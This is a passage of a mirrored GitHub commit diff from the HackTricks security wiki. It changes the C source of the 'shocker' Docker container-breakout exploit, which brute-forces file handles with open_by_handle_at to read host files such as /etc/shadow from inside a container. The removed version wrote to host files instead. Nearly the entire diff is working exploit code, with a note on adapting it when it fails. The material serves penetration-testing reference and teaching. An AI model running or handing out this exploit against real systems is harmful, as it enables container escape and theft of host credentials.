mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
GitBook: [#3106] No subject
This commit is contained in:
CPol
gitbook-bot
parent
75908c5934
commit
8b3650ecb3
1 changed files with 117 additions and 113 deletions
|
|
@ -803,138 +803,142 @@ The original exploit that abuse this permissions to read files from the host can
|
|||
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
|
||||
|
||||
struct my_file_handle {
|
||||
unsigned int handle_bytes;
|
||||
int handle_type;
|
||||
unsigned char f_handle[8];
|
||||
unsigned int handle_bytes;
|
||||
int handle_type;
|
||||
unsigned char f_handle[8];
|
||||
};
|
||||
|
||||
void die(const char * msg) {
|
||||
perror(msg);
|
||||
exit(errno);
|
||||
void die(const char *msg)
|
||||
{
|
||||
perror(msg);
|
||||
exit(errno);
|
||||
}
|
||||
|
||||
void dump_handle(const struct my_file_handle * h) {
|
||||
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
|
||||
h -> handle_type);
|
||||
for (int i = 0; i < h -> handle_bytes; ++i) {
|
||||
fprintf(stderr, "0x%02x", h -> f_handle[i]);
|
||||
if ((i + 1) % 20 == 0)
|
||||
fprintf(stderr, "\n");
|
||||
if (i < h -> handle_bytes - 1)
|
||||
fprintf(stderr, ", ");
|
||||
}
|
||||
fprintf(stderr, "};\n");
|
||||
void dump_handle(const struct my_file_handle *h)
|
||||
{
|
||||
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
|
||||
h->handle_type);
|
||||
for (int i = 0; i < h->handle_bytes; ++i) {
|
||||
fprintf(stderr,"0x%02x", h->f_handle[i]);
|
||||
if ((i + 1) % 20 == 0)
|
||||
fprintf(stderr,"\n");
|
||||
if (i < h->handle_bytes - 1)
|
||||
fprintf(stderr,", ");
|
||||
}
|
||||
fprintf(stderr,"};\n");
|
||||
}
|
||||
|
||||
int find_handle(int bfd,
|
||||
const char * path,
|
||||
const struct my_file_handle * ih, struct my_file_handle *
|
||||
oh) {
|
||||
int fd;
|
||||
uint32_t ino = 0;
|
||||
struct my_file_handle outh = {
|
||||
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
|
||||
*oh)
|
||||
{
|
||||
int fd;
|
||||
uint32_t ino = 0;
|
||||
struct my_file_handle outh = {
|
||||
.handle_bytes = 8,
|
||||
.handle_type = 1
|
||||
};
|
||||
DIR * dir = NULL;
|
||||
struct dirent * de = NULL;
|
||||
path = strchr(path, '/');
|
||||
// recursion stops if path has been resolved
|
||||
if (!path) {
|
||||
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
|
||||
oh -> handle_type = 1;
|
||||
oh -> handle_bytes = 8;
|
||||
return 1;
|
||||
}
|
||||
++path;
|
||||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||||
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
|
||||
die("[-] open_by_handle_at");
|
||||
if ((dir = fdopendir(fd)) == NULL)
|
||||
die("[-] fdopendir");
|
||||
for (;;) {
|
||||
de = readdir(dir);
|
||||
if (!de)
|
||||
break;
|
||||
fprintf(stderr, "[*] Found %s\n", de -> d_name);
|
||||
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
|
||||
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
|
||||
ino = de -> d_ino;
|
||||
break;
|
||||
};
|
||||
DIR *dir = NULL;
|
||||
struct dirent *de = NULL;
|
||||
path = strchr(path, '/');
|
||||
// recursion stops if path has been resolved
|
||||
if (!path) {
|
||||
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
|
||||
oh->handle_type = 1;
|
||||
oh->handle_bytes = 8;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||||
if (de) {
|
||||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||||
outh.handle_bytes = 8;
|
||||
outh.handle_type = 1;
|
||||
memcpy(outh.f_handle, & ino, sizeof(ino));
|
||||
memcpy(outh.f_handle + 4, & i, sizeof(i));
|
||||
if ((i % (1 << 20)) == 0)
|
||||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
|
||||
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
dump_handle( & outh);
|
||||
return find_handle(bfd, path, & outh, oh);
|
||||
}
|
||||
++path;
|
||||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||||
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
|
||||
die("[-] open_by_handle_at");
|
||||
if ((dir = fdopendir(fd)) == NULL)
|
||||
die("[-] fdopendir");
|
||||
for (;;) {
|
||||
de = readdir(dir);
|
||||
if (!de)
|
||||
break;
|
||||
fprintf(stderr, "[*] Found %s\n", de->d_name);
|
||||
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
|
||||
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
|
||||
ino = de->d_ino;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
return 0;
|
||||
|
||||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||||
if (de) {
|
||||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||||
outh.handle_bytes = 8;
|
||||
outh.handle_type = 1;
|
||||
memcpy(outh.f_handle, &ino, sizeof(ino));
|
||||
memcpy(outh.f_handle + 4, &i, sizeof(i));
|
||||
if ((i % (1<<20)) == 0)
|
||||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
|
||||
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
dump_handle(&outh);
|
||||
return find_handle(bfd, path, &outh, oh);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[]) {
|
||||
char buf[0x1000];
|
||||
int fd1, fd2;
|
||||
struct my_file_handle h;
|
||||
struct my_file_handle root_h = {
|
||||
.handle_bytes = 8,
|
||||
.handle_type = 1,
|
||||
.f_handle = {
|
||||
0x02,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
}
|
||||
};
|
||||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||||
|
||||
int main(int argc,char* argv[] )
|
||||
{
|
||||
char buf[0x1000];
|
||||
int fd1, fd2;
|
||||
struct my_file_handle h;
|
||||
struct my_file_handle root_h = {
|
||||
.handle_bytes = 8,
|
||||
.handle_type = 1,
|
||||
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
|
||||
};
|
||||
|
||||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||||
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
|
||||
"[***] If you have pending sec consulting, I'll happily [***]\n"
|
||||
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
|
||||
read(0, buf, 1);
|
||||
// get a FS reference from something mounted in from outside
|
||||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||||
die("[-] open");
|
||||
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
|
||||
die("[-] Cannot find valid handle!");
|
||||
fprintf(stderr, "[!] Got a final handle!\n");
|
||||
dump_handle( & h);
|
||||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
|
||||
die("[-] open_by_handle");
|
||||
char * line = NULL;
|
||||
size_t len = 0;
|
||||
FILE * fptr;
|
||||
ssize_t read;
|
||||
fptr = fopen(argv[2], "r");
|
||||
while ((read = getline( & line, & len, fptr)) != -1) {
|
||||
write(fd2, line, read);
|
||||
}
|
||||
printf("Success!!\n");
|
||||
close(fd2);
|
||||
close(fd1);
|
||||
return 0;
|
||||
|
||||
read(0, buf, 1);
|
||||
|
||||
// get a FS reference from something mounted in from outside
|
||||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||||
die("[-] open");
|
||||
|
||||
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
|
||||
die("[-] Cannot find valid handle!");
|
||||
|
||||
fprintf(stderr, "[!] Got a final handle!\n");
|
||||
dump_handle(&h);
|
||||
|
||||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
|
||||
die("[-] open_by_handle");
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (read(fd2, buf, sizeof(buf) - 1) < 0)
|
||||
die("[-] read");
|
||||
|
||||
printf("Success!!\n");
|
||||
|
||||
FILE *fptr;
|
||||
fptr = fopen(argv[2], "w");
|
||||
fprintf(fptr,"%s", buf);
|
||||
fclose(fptr);
|
||||
|
||||
close(fd2); close(fd1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
I exploit needs to find a pointer to something mounted on the host. The original exploit used the file `/.dockerinit` and this modified version uses `/etc/hostname`. **If the exploit isn't working** maybe you need to set a different file. To find a file that is mounted in the host just execute `mount` command:
|
||||
{% hint style="warning" %}
|
||||
I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:
|
||||
{% endhint %}
|
||||
|
||||
 (2).png>)
|
||||
|
|
|
|||
Loading…
Reference in a new issue